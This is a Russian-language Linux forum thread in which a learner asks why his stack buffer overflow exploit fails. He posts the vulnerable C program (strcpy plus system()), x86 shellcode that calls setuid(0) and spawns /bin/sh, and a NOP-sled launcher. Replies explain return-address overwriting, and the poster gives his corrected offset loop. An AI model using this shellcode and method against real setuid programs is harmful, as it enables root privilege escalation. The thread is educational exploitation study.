LINUX.ORG.RU

переполнение буфера


0

0

Почитал статейки про переполнение буфера но до конца не получается.
Предположим есть прога :
char filename[30], cmd[600];

strcpy(filename, argv[1]); //copy into filename 1st argument
snprintf(cmd, 600, "ls |grep %s", filename);
//copy cmd-line to execute via system();
system(cmd); //execute
return 0;
}
Если переполнить filename то можно выполнить шеллкод.
С помощью gdb узнаю границу переполнения - получается ,что если записать
43 символа то прога вызывает segmentation fault/
в 43,44,45,46 байтах лежит адрес возврата.Если я допустим запихиваю в буфер тысячу нопов а потом шеллкод,то адрес возврата должен исказится так что будет указывать на эту кучу нопов ,которые исполнятся а потом выполнится и шеллкод.Но этого не происходит!Прога просто пишет segmentation fault........
вот код эксплоита:

char shellpre[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main() {
char attackbuf[1010];
memset(attackbuf,0x90,900);
int i;

sprintf(attackbuf+900,"%s",shellpre);
printf("Attaching shellcode...\n");
execl("util2", "util2" , attackbuf, NULL);



anonymous

Код не смотрел часу нету
но что значит "адрес возврата должен исказится"
это ты должен вычислить адрес адрес по которому лежит
адрес возврата и подменить его на адрес который будет указывать
на твой шел код, ну и шел код предворительно вкинув....

anonymous
()
Ответ на: комментарий от anonymous

Вроде получилось.... Я просто адрес возврата вставлял не туда - надо было так:

for ( i = 44; i <= 48; i+= 4 ) { *(long*)(p+i) = RET; } где RET это адрес возврата,который указывает на середину нопов(для большей вероятности выполнения шеллкода). Только один вопрос:ведь получается мы просто угадываем адрес,который показываетна шеллкод или район нопов?

anonymous
()
Ответ на: комментарий от anonymous

Почему угадываем? Дизассемблируй целевое приложение и будешь точно знать что, где, когда и как лежит.

Murr ★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.